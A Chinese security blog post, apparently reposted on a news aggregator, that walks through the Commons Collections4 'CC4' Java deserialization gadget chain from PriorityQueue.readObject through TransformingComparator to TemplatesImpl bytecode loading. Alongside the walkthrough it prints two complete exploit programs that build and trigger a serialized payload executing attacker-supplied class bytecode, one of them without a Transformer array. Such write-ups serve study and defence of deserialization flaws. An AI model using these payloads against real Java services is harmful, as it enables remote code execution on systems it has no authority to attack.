最新要闻

广告

手机

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

家电

CommonsCollections4反序列化分析

来源:博客园

cc4

调用链

后半段的话和cc3差不多,只是改变了前面的入口,简单分析一下这条链子

首先看一下谁调用了ChainedTransformer的transform

可以找到一处TransformingComparator的compare调用了transform


(资料图)

如果继续找的话其实还有很多compare 我不懂,反正最后再PriorityQueue的readObject()有个利用点,

cc4前半段分析

我们进入readObject中的heapify(),里面存在一个siftDown()方法

进入seftDown()方法

再进入siftDownUsingComparator(),在此处调用了conpare,这就是入口到中间的链子

尝试一下构造EXP:

尝试执行后无果 我们再heapify()设个断点,此时我们的size=0 所以size>>>1-1就等于-1

我们至少让i初始值为0才能进入循环,也就是size初始值为2

所以我们要增加队列为2

但是尝试一下之后还是报错了,这里的原因是因为在add(2)的时候也会触发一系列链子导致本地执行,我们简单分析看一下:

size的初始值为0,所以可以理解add(1)的时候 i0 所以不会触发siftup,但是当我们add(2)的时候,size再+1之前被赋值给i,此时i1,就会触发siftup函数,跟进一下

我们初始化有comparator 所以就会进入siftUpUsingComparator中,然后会在if条件中触发compare

(当然我们的k就是之前赋值过来的I,肯定是>0的)

而字节码加载的某个类只有在反序列化时才会自动加载进来,所以会报错,那这里就像URLDNS链一样解决就好了。

setFieldValue(transformingComparator,"transformer",chainedTransformer);

EXP1:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.*;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;// 主程序public class cc4test {    public static void main(String[] args) throws Exception{        byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));        TemplatesImpl obj = new TemplatesImpl();        setFieldValue(obj, "_bytecodes", new byte[][] {code});        setFieldValue(obj, "_name", "calc");        Transformer[] transformers = new Transformer[] {                new ConstantTransformer(TrAXFilter.class),                new InstantiateTransformer(                        new Class[] { Templates.class },                        new Object[] { obj })        };        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));        PriorityQueue  priorityQueue = new PriorityQueue<>(transformingComparator);        priorityQueue.add(1);        priorityQueue.add(2);        setFieldValue(transformingComparator,"transformer",chainedTransformer);//        serialize(priorityQueue);        unserialize("s.bin");    }    //序列化数据    public static void serialize(Object obj) throws IOException {        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("s.bin"));        oos.writeObject(obj);    }    //反序列化数据    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));        Object obj = ois.readObject();        return obj;    }    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }}

无需Transformer数组的EXP

上面的EXP最后还是需要用到Transformer数组,原因还是我们前面是无法控制transform调用链中的第一个传参而导致我们需要传入一个ConstantTransformer等等等等,但是我们在cc3中学过一个函数InstantiateTransformer,就对接cc3的后半段思路就行了

那么这个地方是怎么解决可以自己选择传参呢?延续cc3中对PriorityQueue.object的分析,当我们反序列化进入到siftDownUsingComparaotr的时候会传入一个k 和x ,k就是队列下标,x就是对应下标的内容,我们知道2个队列的时候只有下标为0的那个队列会触发这个函数

然后下一步就会进入到TransformingComparator的compare方法中,当然我们的x ,就是我们可控的下表为0的队列也会在如下图的地方被传入

然后接着被传入到我们下面的transformer.transform()中,而transformer我们可以通过构造函数把他初始化成为InstantiateTransformer

会看我们初始化的InstantiateTransformer

//byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));        //TemplatesImpl obj = new TemplatesImpl();        //setFieldValue(obj, "_bytecodes", new byte[][] {code});        //setFieldValue(obj, "_name", "calc");InstantiateTransformer instantiateTransformer = new InstantiateTransformer(                new Class[]{Templates.class},                new Object[]{obj});

再看一下他的transform方法

此时input就是我们可控的下标为0的队列,然后结合cc3,我们就完成了一系列的可控的反序列化了

EXP2

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.*;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class cc4test2 {    public static void main(String[] args) throws Exception {        byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));        TemplatesImpl obj = new TemplatesImpl();        setFieldValue(obj, "_bytecodes", new byte[][] {code});        setFieldValue(obj, "_name", "calc");        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(                new Class[]{Templates.class},                new Object[]{obj});        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);        priorityQueue.add(TrAXFilter.class);        priorityQueue.add(2);        setFieldValue(transformingComparator,"transformer",instantiateTransformer);        serialize(priorityQueue);        unserialize("serzsd.bin");    }    //序列化数据    public static void serialize(Object obj) throws IOException {        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serzsd.bin"));        oos.writeObject(obj);    }    //反序列化数据    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));        Object obj = ois.readObject();        return obj;    }    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }}

参考资料:

  • https://blog.csdn.net/qq_61237064/article/details/127562385?spm=1001.2014.3001.5502

关键词: